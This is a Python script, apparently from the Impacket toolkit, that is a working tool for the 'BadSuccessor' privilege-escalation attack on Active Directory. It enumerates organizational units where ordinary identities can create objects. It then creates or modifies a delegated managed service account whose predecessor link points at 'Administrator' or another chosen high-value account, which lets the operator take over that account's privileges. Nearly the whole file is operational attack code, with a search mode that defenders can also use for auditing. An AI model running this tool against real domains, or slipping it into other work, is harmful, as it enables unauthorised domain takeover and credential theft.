#!/usr/bin/env python3
# Impacket - Collection of Python classes for working with network protocols.
#
# Copyright Fortra, LLC and its affiliated companies 
#
# All rights reserved.
#
# This software is provided under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description:
#   This script is a tool for dMSA exploitation.
#   Search function is based on AKAMAI Get-BadSuccessorOUPermissions.ps1 (https://github.com/akamai/BadSuccessor/blob/main/Get-BadSuccessorOUPermissions.ps1)
#   It allows to add/delete Delegated Managed Service Accounts (dMSA) in a specific OU, search for OUs vulnerable to BadSuccessor attack
# Author:
#   Ilya Yatsenko (@fulc2um)


from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import argparse
import logging
import random
import string
import sys
import ldap3

from impacket import version
from impacket.examples import logger
from impacket.examples.utils import parse_identity, parse_target, init_ldap_session
from impacket.ldap import ldaptypes


class BADSUCCESSOR:
    def __init__(self, username, password, domain, lmhash, nthash, cmdLineOptions):
        self.__username = username
        self.__password = password
        self.__domain = domain
        self.__lmhash = lmhash
        self.__nthash = nthash
        self.__aesKey = cmdLineOptions.aesKey
        self.__doKerberos = cmdLineOptions.k
        self.__target = cmdLineOptions.dc_host
        self.__kdcHost = cmdLineOptions.dc_host
        self.__dmsaName = cmdLineOptions.dmsa_name
        self.__method = cmdLineOptions.method
        self.__port = cmdLineOptions.port
        self.__action = cmdLineOptions.action
        self.__targetIp = cmdLineOptions.dc_ip
        self.__baseDN = cmdLineOptions.baseDN
        self.__targetOu = cmdLineOptions.target_ou
        self.__principalsAllowed = cmdLineOptions.principals_allowed
        self.__targetAccount = cmdLineOptions.target_account
        self.__dnsHostName = cmdLineOptions.dns_hostname

        if self.__targetIp is not None:
            self.__kdcHost = self.__targetIp

        if self.__method not in ['LDAP', 'LDAPS']:
            raise ValueError("Unsupported method %s" % self.__method)

        if self.__doKerberos and cmdLineOptions.dc_host is None:
            raise ValueError("Kerberos auth requires DNS name of the target DC. Use -dc-host.")

        if self.__method == 'LDAPS' and not '.' in self.__domain:
                logging.warning('\'%s\' doesn\'t look like a FQDN. Generating baseDN will probably fail.' % self.__domain)

        if self.__target is None:
            if not '.' in self.__domain:
                logging.warning('No DC host set and \'%s\' doesn\'t look like a FQDN. DNS resolution of short names will probably fail.' % self.__domain)
            self.__target = self.__domain

        if self.__port is None:
            if self.__method == 'LDAP':
                self.__port = 389
            elif self.__method == 'LDAPS':
                self.__port = 636

    def run(self):
        # Create the baseDN if not provided
        if self.__baseDN is None:
            domainParts = self.__domain.split('.')
            self.__baseDN = ''
            for i in domainParts:
                self.__baseDN += 'dc=%s,' % i
            # Remove last ','
            self.__baseDN = self.__baseDN[:-1]


        try:
            use_ldaps = (self.__method == 'LDAPS')
            
            # For Kerberos authentication, ensure proper target resolution
            if self.__doKerberos:
                target_host = self.__target if self.__target else self.__domain
                dc_ip = self.__kdcHost if self.__kdcHost else self.__targetIp
            else:
                target_host = self.__target if self.__target else self.__domain
                dc_ip = self.__targetIp
            
            _, ldapConnection = init_ldap_session(
                domain=self.__domain,
                username=self.__username,
                password=self.__password,
                lmhash=self.__lmhash,
                nthash=self.__nthash,
                k=self.__doKerberos,
                dc_ip=dc_ip,
                dc_host=target_host,
                aesKey=self.__aesKey,
                use_ldaps=use_ldaps
            )
            
        except Exception as e:
            raise Exception('Could not connect to LDAP server: %s' % str(e))

        # Update target for logging
        connectTo = dc_ip if dc_ip else target_host
        logging.info('Connected to %s as %s\\%s' % (connectTo, self.__domain, self.__username))


        if self.__action == 'add':
            result = self.add_dmsa(ldapConnection)
        elif self.__action == 'delete':
            result = self.delete_dmsa(ldapConnection)
        elif self.__action == 'modify':
            result = self.modify_dmsa(ldapConnection)
        elif self.__action == 'search':
            result = self.search_ous(ldapConnection)
        else:
            logging.error('Unknown action: %s' % self.__action)
            result = False

        ldapConnection.unbind()
        return result

    def delete_dmsa(self, ldapConnection):
        try:
            if not self.__dmsaName:
                logging.error('dMSA name is required for deletion. Use -dmsa-name parameter.')
                return False
            
            if not self.__targetOu:
                logging.error('Target OU is required for dMSA deletion. Use -target-ou parameter.')
                return False
            
            dmsa_dn = 'CN=%s,%s' % (self.__dmsaName, self.__targetOu)
            if not self.check_account_exists(ldapConnection, dmsa_dn):
                logging.error('dMSA account does not exist: %s' % dmsa_dn)
                return False
            
            success = ldapConnection.delete(dmsa_dn)
            
            logging.info("")
            logging.info("%-30s %s" % ("dMSA Deletion Results", ""))
            logging.info("%-30s %s" % ("-" * 30, "-" * 30))
            logging.info("%-30s %s" % ("dMSA Name:", '%s$' % self.__dmsaName))
            logging.info("%-30s %s" % ("Status:", "SUCCESS" if success else "FAILED"))
            
            if not success and ldapConnection.result:
                logging.error("%-30s %s" % ("Error:", ldapConnection.result))
            
            return success
                
        except Exception as e:
            logging.error('dMSA deletion failed: %s' % str(e))
            return False
    
    def check_account_exists(self, ldapConnection, dn):
        try:
            success = ldapConnection.search(
                search_base=dn,
                search_filter='(objectClass=*)',
                search_scope=ldap3.BASE,
                attributes=['cn']
            )
            
            return success and len(ldapConnection.entries) > 0
                
        except Exception as e:
            logging.debug('Error checking account existence: %s' % str(e))
            # If we can't determine, assume it doesn't exist to avoid blocking operations
            return False

    def search_ous(self, ldapConnection):
        try:
            logging.info('Searching for OUs vulnerable to BadSuccessor attack...')
            
            if not ldapConnection.bound:
                logging.error('LDAP connection is not bound')
                return False
            
            success = ldapConnection.search(
                search_base=self.__baseDN,
                search_filter='(&(objectCategory=computer)(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))',
                search_scope=ldap3.SUBTREE,
                attributes=['operatingSystem', 'operatingSystemVersion']
            )

            if not success:
                logging.error('Failed to search for Domain Controllers: %s' % ldapConnection.result)
                return False

            prereq_flag = False
            for entry in ldapConnection.entries:
                if ('operatingSystem' and 'operatingSystemVersion') not in entry:
                    logging.error('Could not retrieve operating system information for Domain Controller: %s' % entry.entry_dn)
                    pass
                else:
                    if 'Windows Server 2025' in entry.operatingSystem.value or '26100' in entry.operatingSystemVersion.value:
                        logging.info('Found Windows Server 2025 Domain Controller: %s' % entry.entry_dn)
                        prereq_flag = True
                        break
            
            if not prereq_flag:
                logging.info('No Windows Server 2025 Domain Controllers found. This script requires at least one DC running Windows Server 2025.')
                logging.info('Resulting list of Identities/OUs will show Identities that have permissions to create objects in OUs.')
                    

            success = ldapConnection.search(
                search_base=self.__baseDN,
                search_filter='(objectClass=organizationalUnit)',
                search_scope=ldap3.SUBTREE,
                attributes=['distinguishedName', 'nTSecurityDescriptor'],
                controls=ldap3.protocol.microsoft.security_descriptor_control(sdflags=0x5)
            )

            
            if not success:
                logging.error('Failed to search for organizational units: %s' % ldapConnection.result)
                return False
            
            # Store the OU entries before they get overwritten by other searches
            ou_entries = list(ldapConnection.entries)
            logging.info('Found %d organizational units' % len(ou_entries))
            
            # Get domain SID for filtering excluded accounts
            try:
                success = ldapConnection.search(
                    search_base=self.__baseDN,
                    search_filter='(objectClass=domain)',
                    search_scope=ldap3.BASE,
                    attributes=['objectSid']
                )
                
                if success and len(ldapConnection.entries) > 0:
                    entry = ldapConnection.entries[0]
                    if 'objectSid' in entry:
                        domain_sid = entry.objectSid.value
            except Exception as e:
                logging.error('Failed to retrieve domain SID: %s' % str(e))
                return False
            allowed_identities = {}
            
            relevant_rights = {
                "CreateChild": 0x00000001,
                "GenericAll": 0x10000000,
                "WriteDACL": 0x00040000,
                "WriteOwner": 0x00080000
            }
            
            relevant_object_types = {
                "00000000-0000-0000-0000-000000000000": "All Objects",
                "0feb936f-47b3-49f2-9386-1dedc2c23765": "msDS-DelegatedManagedServiceAccount",
            }
            
            for entry in ou_entries:
                try:
                    ou_dn = str(entry.entry_dn)
                    
                    if 'nTSecurityDescriptor' not in entry or not entry.nTSecurityDescriptor.value:
                        continue
                        
                    sd_data = entry.nTSecurityDescriptor.value
                    sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=sd_data)
                    
                    # Process DACL entries (ACEs)
                    dacl = sd['Dacl']
                    if dacl and hasattr(dacl, 'aces') and dacl.aces:
                        for ace in dacl.aces:
                            # Only process ALLOW ACEs
                            if ace['AceType'] != ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE:
                                continue
                                
                            # Check if ACE has relevant rights
                            mask = int(ace['Ace']['Mask']['Mask'])
                            has_relevant_right = any(mask & right_value for right_value in relevant_rights.values())
                            if not has_relevant_right:
                                continue
                            
                            # Check object type (must match relevant object types)
                            object_type = getattr(ace['Ace'], 'ObjectType', None)
                            if object_type:
                                object_guid = str(object_type).lower()
                                if object_guid not in relevant_object_types:
                                    continue
                                
                            sid = ace['Ace']['Sid'].formatCanonical()
                            
                            if self.is_excluded_sid(sid, domain_sid):
                                continue
                            
                            identity = self.resolve_sid_to_name(ldapConnection, sid)
                            if identity not in allowed_identities:
                                allowed_identities[identity] = []
                            if ou_dn not in allowed_identities[identity]:
                                allowed_identities[identity].append(ou_dn)
                    
                    try:
                        owner_sid = sd['OwnerSid'].formatCanonical()
                        if not self.is_excluded_sid(owner_sid, domain_sid):
                            identity = self.resolve_sid_to_name(ldapConnection, owner_sid)
                            if identity not in allowed_identities:
                                allowed_identities[identity] = []
                            if ou_dn not in allowed_identities[identity]:
                                allowed_identities[identity].append(ou_dn)
                    except:
                        pass
                        
                except Exception as e:
                    continue
            
            if allowed_identities:
                logging.info('Found %d identities with BadSuccessor privileges:' % len(allowed_identities))
                logging.info("")
                logging.info("%-50s %s" % ("Identity", "Vulnerable OUs"))
                logging.info("%-50s %s" % ("-" * 50, "-" * 30))
                
                for identity, ous in allowed_identities.items():
                    ou_list = "{%s}" % ", ".join(ous)
                    logging.info("%-50s %s" % (identity[:50], ou_list))
            else:
                logging.info('No identities found with BadSuccessor privileges')
                logging.info("")
                logging.info("%-50s %s" % ("Identity", "Vulnerable OUs"))
                logging.info("%-50s %s" % ("-" * 50, "-" * 30))
                logging.info("%-50s %s" % ("(none)", "(none)"))
            return True
            
        except Exception as e:
            logging.error('BadSuccessor search failed: %s' % str(e))
            return False

    def is_excluded_sid(self, sid, domain_sid):
        excluded_sids = ["S-1-5-32-544", "S-1-5-18"]  # BUILTIN\Administrators, SYSTEM
        excluded_suffixes = ["-512", "-519"]  # Domain Admins, Enterprise Admins
        
        if sid in excluded_sids:
            return True
            
        if domain_sid and sid.startswith(domain_sid):
            for suffix in excluded_suffixes:
                if sid.endswith(suffix):
                    return True
                    
        return False

    def resolve_sid_to_name(self, ldapConnection, sid):
        try:
            # Handle well-known SIDs 
            well_known_sids = {
                'S-1-1-0': 'Everyone',
                'S-1-5-11': 'NT AUTHORITY\\Authenticated Users',
                'S-1-5-32-544': 'BUILTIN\\Administrators',
                'S-1-5-32-545': 'BUILTIN\\Users',
                'S-1-5-32-546': 'BUILTIN\\Guests',
                'S-1-5-18': 'NT AUTHORITY\\SYSTEM',
                'S-1-5-19': 'NT AUTHORITY\\LOCAL SERVICE',
                'S-1-5-20': 'NT AUTHORITY\\NETWORK SERVICE',
                'S-1-3-0': 'CREATOR OWNER',
                'S-1-3-1': 'CREATOR GROUP',
                'S-1-5-9': 'NT AUTHORITY\\ENTERPRISE DOMAIN CONTROLLERS',
                'S-1-5-10': 'NT AUTHORITY\\SELF',
            }
            
            if sid in well_known_sids:
                return well_known_sids[sid]
            
            success = ldapConnection.search(
                search_base=self.__baseDN,
                search_filter='(objectSid=%s)' % sid,
                search_scope=ldap3.SUBTREE,
                attributes=['sAMAccountName']
            )
            
            if success and len(ldapConnection.entries) > 0:
                entry = ldapConnection.entries[0]
                if 'sAMAccountName' in entry:
                    username = entry.sAMAccountName.value
                    return '%s\\%s' % (self.__domain.upper(), username)
                    
            return sid
            
        except Exception as e:
            logging.debug('Error resolving SID %s: %s' % (sid, str(e)))
            return sid


    def generate_dmsa_name(self):
        random_suffix = ''.join(random.choices(string.ascii_uppercase + string.digits, k=8))
        return 'dMSA-%s' % random_suffix

    def convert_sid_to_string(self, sid_bytes):
        try:
            if not sid_bytes:
                return None
                
            if isinstance(sid_bytes, str):
                sid_bytes = sid_bytes.encode('latin-1')
            
            if len(sid_bytes) < 8:
                return None
                
            revision = sid_bytes[0]
            authority_count = sid_bytes[1]
            
            expected_length = 8 + (authority_count * 4)
            if len(sid_bytes) < expected_length:
                return None
                
            authority = int.from_bytes(sid_bytes[2:8], 'big')
            
            subauthorities = []
            for i in range(authority_count):
                offset = 8 + (i * 4)
                if offset + 4 <= len(sid_bytes):
                    subauth = int.from_bytes(sid_bytes[offset:offset+4], 'little')
                    subauthorities.append(str(subauth))
                else:
                    break
            
            if subauthorities:
                sid_string = 'S-%d-%d-%s' % (revision, authority, '-'.join(subauthorities))
            else:
                sid_string = 'S-%d-%d' % (revision, authority)
                
            return sid_string
            
        except Exception as e:
            logging.debug('Error converting SID bytes to string: %s' % str(e))
            return None

    def build_security_descriptor(self, user_sid):
        try:
            if not user_sid:
                return None
            # Handle both string and bytes SID formats
            if isinstance(user_sid, str):
                if user_sid.startswith('S-'):
                    sid_string = user_sid
                else:
                    return None
            else:
                sid_string = self.convert_sid_to_string(user_sid)
                if not sid_string:
                    return None
            sd = ldaptypes.SR_SECURITY_DESCRIPTOR()
            sd['Revision'] = b'\x01'
            sd['Sbz1'] = b'\x00'
            sd['Control'] = 32772
            sd['OwnerSid'] = ldaptypes.LDAP_SID()
            sd['OwnerSid'].fromCanonical(sid_string)
            sd['GroupSid'] = b''
            sd['Sacl'] = b''
            acl = ldaptypes.ACL()
            acl['AclRevision'] = 4
            acl['Sbz1'] = 0
            acl['Sbz2'] = 0
            acl.aces = []
            
            nace1 = ldaptypes.ACE()
            nace1['AceType'] = ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE
            nace1['AceFlags'] = 0x00
            acedata1 = ldaptypes.ACCESS_ALLOWED_ACE()
            acedata1['Mask'] = ldaptypes.ACCESS_MASK()
            acedata1['Mask']['Mask'] = 0x000F01FF
            acedata1['Sid'] = ldaptypes.LDAP_SID()
            acedata1['Sid'].fromCanonical(sid_string)
            nace1['Ace'] = acedata1
            acl.aces.append(nace1)
            
            nace2 = ldaptypes.ACE()
            nace2['AceType'] = ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE
            nace2['AceFlags'] = 0x00
            acedata2 = ldaptypes.ACCESS_ALLOWED_ACE()
            acedata2['Mask'] = ldaptypes.ACCESS_MASK()
            acedata2['Mask']['Mask'] = 0x10000000  # GenericAll
            acedata2['Sid'] = ldaptypes.LDAP_SID()
            acedata2['Sid'].fromCanonical(sid_string)
            nace2['Ace'] = acedata2
            acl.aces.append(nace2)
            sd['Dacl'] = acl
            return sd.getData()
        except Exception as e:
            logging.debug('Error building security descriptor: %s' % str(e))
            return None
    

    def add_dmsa(self, ldapConnection):
        try:
            if not self.__dmsaName:
                self.__dmsaName = self.generate_dmsa_name()
            
            if not self.__targetOu:
                logging.error('Target OU is required for dMSA creation. Use -target-ou parameter.')
                return False
            
            dmsa_dn = 'CN=%s,%s' % (self.__dmsaName, self.__targetOu)
            if self.check_account_exists(ldapConnection, dmsa_dn):
                logging.error('dMSA account already exists: %s' % dmsa_dn)
                return False
            
            principals_allowed = self.__principalsAllowed if self.__principalsAllowed else self.__username
            target_account = self.__targetAccount if self.__targetAccount else 'Administrator'
            
            dns_hostname = self.__dnsHostName if self.__dnsHostName else '%s.%s' % (self.__dmsaName.lower(), self.__domain)
            
            # Validate DNS hostname format
            if not dns_hostname or '.' not in dns_hostname:
                dns_hostname = '%s.%s' % (self.__dmsaName.lower(), self.__domain)
            
            attributes = {
                'objectClass': ['msDS-DelegatedManagedServiceAccount'],
                'cn': self.__dmsaName,
                'sAMAccountName': '%s$' % self.__dmsaName,
                'dNSHostName': dns_hostname,
                'userAccountControl': 4096,
                'msDS-ManagedPasswordInterval': 30,
                'msDS-DelegatedMSAState': 2,
                'msDS-SupportedEncryptionTypes': 28,
                'accountExpires': 9223372036854775807,
            }

            group_msa_membership = None
            try:
                search_filter = '(&(objectClass=user)(sAMAccountName=%s))' % principals_allowed
                success = ldapConnection.search(
                    search_base=self.__baseDN,
                    search_filter=search_filter,
                    search_scope=ldap3.SUBTREE,
                    attributes=['objectSid'])
                if success and len(ldapConnection.entries) > 0:
                    entry = ldapConnection.entries[0]
                    if 'objectSid' in entry:
                        user_sid = entry.objectSid.value
                        if user_sid:
                            descriptor = self.build_security_descriptor(user_sid)
                            group_msa_membership = descriptor
                            attributes['nTSecurityDescriptor'] = descriptor
                
            except Exception as e:
                logging.debug('Error building MSA membership: %s' % str(e))
                return False
            
            if group_msa_membership:
                attributes['msDS-GroupMSAMembership'] = group_msa_membership

            target_dn = None
            success = ldapConnection.search(
                search_base=self.__baseDN, 
                search_filter='(&(objectClass=*)(sAMAccountName=%s))' % target_account,
                search_scope=ldap3.SUBTREE,
                attributes=['distinguishedName', 'objectClass']
            )

            if success and len(ldapConnection.entries) > 0:
                for entry in ldapConnection.entries:
                    object_classes = [str(oc).lower() for oc in entry.objectClass.values]
                    if 'user' in object_classes or 'computer' in object_classes:
                        target_dn = str(entry.entry_dn)
                # Return first match if no user/computer found
                target_dn = str(ldapConnection.entries[0].entry_dn)

                if target_dn:
                    attributes['msDS-ManagedAccountPrecededByLink'] = target_dn
                

           
            else:
                logging.error('Target account not found: %s' % target_account)
                return False
            
            success = ldapConnection.add(dmsa_dn, attributes=attributes)

            if success:
                logging.info("")
                logging.info("%-30s %s" % ("-" * 30, "-" * 30))
                logging.info("%-30s %s" % ("dMSA Name:", '%s$' % self.__dmsaName))
                logging.info("%-30s %s" % ("DNS Hostname:", attributes.get('dNSHostName', 'Unknown')))
                logging.info("%-30s %s" % ("Migration status: ", attributes.get('msDS-DelegatedMSAState', 'Unknown')))
                logging.info("%-30s %s" % ("Principals Allowed:", principals_allowed))
                logging.info("%-30s %s" % ("Target Account:", target_account))
                return True
            else:
                if ldapConnection.result:
                    logging.error('LDAP error: %s' % ldapConnection.result)
                return False
                
        except Exception as e:
            logging.error('dMSA creation failed: %s' % str(e))
            return False
    
    def modify_dmsa(self, ldapConnection):
        try:
            dmsa_dn = 'CN=%s,%s' % (self.__dmsaName, self.__targetOu)

            if not self.check_account_exists(ldapConnection, dmsa_dn):
                logging.error('dMSA account does not exist: %s' % dmsa_dn)
                return False

            # Get current target account value
            success = ldapConnection.search(
                search_base=dmsa_dn,
                search_filter='(objectClass=msDS-DelegatedManagedServiceAccount)',
                search_scope=ldap3.BASE,
                attributes=['msDS-ManagedAccountPrecededByLink']
            )
            
            current_target_dn = None
            if success and len(ldapConnection.entries) > 0:
                entry = ldapConnection.entries[0]
                if hasattr(entry, 'msDS-ManagedAccountPrecededByLink'):
                    current_target_dn = entry['msDS-ManagedAccountPrecededByLink'].value

            success = ldapConnection.search(
                search_base=self.__baseDN, 
                search_filter='(&(objectClass=*)(sAMAccountName=%s))' % self.__targetAccount,
                search_scope=ldap3.SUBTREE,
                attributes=['distinguishedName', 'objectClass']
            )

            if not (success and len(ldapConnection.entries) > 0):
                logging.error('Target account not found: %s' % self.__targetAccount)
                return False

            target_dn = None
            for entry in ldapConnection.entries:
                object_classes = [str(oc).lower() for oc in entry.objectClass.values]
                if 'user' in object_classes or 'computer' in object_classes:
                    target_dn = str(entry.entry_dn)
                    break
            
            if not target_dn:
                target_dn = str(ldapConnection.entries[0].entry_dn)

            if current_target_dn == target_dn:
                logging.info('Target account is already set to: %s' % target_dn)
                logging.info('No modifications needed.')
                return True

            modifications = {
                'msDS-ManagedAccountPrecededByLink': [(ldap3.MODIFY_REPLACE, [target_dn])]
            }
            
            success = ldapConnection.modify(dmsa_dn, modifications)
            
            if success:
                logging.info('dMSA target account modified: %s -> %s' % (current_target_dn or '(not set)', target_dn))
                return True
            else:
                logging.error('Failed to modify dMSA: %s' % ldapConnection.result)
                return False
                
        except Exception as e:
            logging.error('Error modifying dMSA: %s' % str(e))
            return False


if __name__ == '__main__':
    print(version.BANNER)

    parser = argparse.ArgumentParser(add_help = True, description = "dMSA exploitation tool.")

    parser.add_argument('account', action='store', metavar='[domain/]username[:password]', help='Account used to authenticate to DC.')
    parser.add_argument('-dmsa-name', action='store', metavar='dmsa_name', help='Name of dMSA to add. If omitted, a random dMSA-[A-Z0-9]{8} will be used.')
    parser.add_argument('-action', choices=['add', 'delete', 'modify', 'search'], default='search', help='Action to perform: add (requires -target-ou), delete (requires -dmsa-name, -target-ou), modify (requires -dmsa-name, -target-ou and -target-account), or search a dMSA.')
    parser.add_argument('-target-ou', action='store', metavar='OU_DN', help='Specific OU to check for dMSA creation capabilities (e.g., "OU=weakOU,DC=domain,DC=local")')
    parser.add_argument('-principals-allowed', action='store', metavar='USERNAME', help='Username allowed to retrieve the managed password. If omitted, current username will be used.')
    parser.add_argument('-target-account', action='store', metavar='USERNAME', default='Administrator', help='Target user or computer account DN to set for msDS-ManagedAccountPrecededByLink (can target Domain Controllers, Domain Admins, Protected Users, etc.)')
    parser.add_argument('-dns-hostname', action='store', metavar='HOSTNAME', help='DNS hostname for the dMSA. If omitted, will be generated as dmsaname.domain.')
    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')
    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
    parser.add_argument('-method', choices=['LDAP', 'LDAPS'], default='LDAPS', help='Method of adding the computer. LDAPS has some certificate requirements and isn\'t always available.')

    parser.add_argument('-port', type=int, choices=[389, 636], help='Destination port to connect to. LDAP defaults to 389, LDAPS to 636.')

    group = parser.add_argument_group('LDAP')
    group.add_argument('-baseDN', action='store', metavar='DC=test,DC=local', help='Set baseDN for LDAP. If ommited, the domain part (FQDN) specified in the account parameter will be used.')

    group = parser.add_argument_group('authentication')
    group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
    group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
    group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on account parameters. If valid credentials cannot be found, it will use the ones specified in the command line')
    group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication (128 or 256 bits)')
    group.add_argument('-dc-host', action='store',metavar = "hostname",  help='Hostname of the domain controller to use. If ommited, the domain part (FQDN) specified in the account parameter will be used')
    group.add_argument('-dc-ip', action='store',metavar = "ip",  help='IP of the domain controller to use. Useful if you can\'t translate the FQDN.')

    if len(sys.argv)==1:
        parser.print_help()
        sys.exit(1)

    options = parser.parse_args()

    if options.action == 'add':
        required_args = []
        if not options.target_ou:
            required_args.append('-target-ou')
        
        if required_args:
            parser.error('Action "add" requires the following arguments: %s' % ', '.join(required_args))
    
    elif options.action == 'delete':
        required_args = []
        if not options.dmsa_name:
            required_args.append('-dmsa-name')
        if not options.target_ou:
            required_args.append('-target-ou')
        
        if required_args:
            parser.error('Action "delete" requires the following arguments: %s' % ', '.join(required_args))
    
    elif options.action == 'modify':
        required_args = []
        if not options.dmsa_name:
            required_args.append('-dmsa-name')
        if not options.target_ou:
            required_args.append('-target-ou')
        if not options.target_account:
            required_args.append('-target-account')
        if required_args:
            parser.error('Action "modify" requires the following arguments: %s' % ', '.join(required_args))

    logger.init(options.ts, options.debug)
    
    if '@' in options.account and options.dc_host is None:
        domain, username, password, remote_host = parse_target(options.account)
        if domain == '':
            logging.critical('Domain should be specified!')
            sys.exit(1)
        options.dc_host = remote_host
        
        if password == '' and username != '' and options.hashes is None and not options.no_pass and options.aesKey is None:
            from getpass import getpass
            password = getpass("Password:")
        
        lmhash = ''
        nthash = ''
        if options.hashes is not None:
            lmhash, nthash = options.hashes.split(':')
            if lmhash == '':
                lmhash = 'AAD3B435B51404EEAAD3B435B51404EE' 
        
        if options.aesKey is not None:
            options.k = True
    else:
        domain, username, password, lmhash, nthash, options.k = parse_identity(options.account, options.hashes, options.no_pass, options.aesKey, options.k)

    if domain == '':
        logging.critical('Domain should be specified!')
        sys.exit(1)

    try:
        executer = BADSUCCESSOR(username, password, domain, lmhash, nthash, options)
        executer.run()
    except Exception as e:
        print(str(e))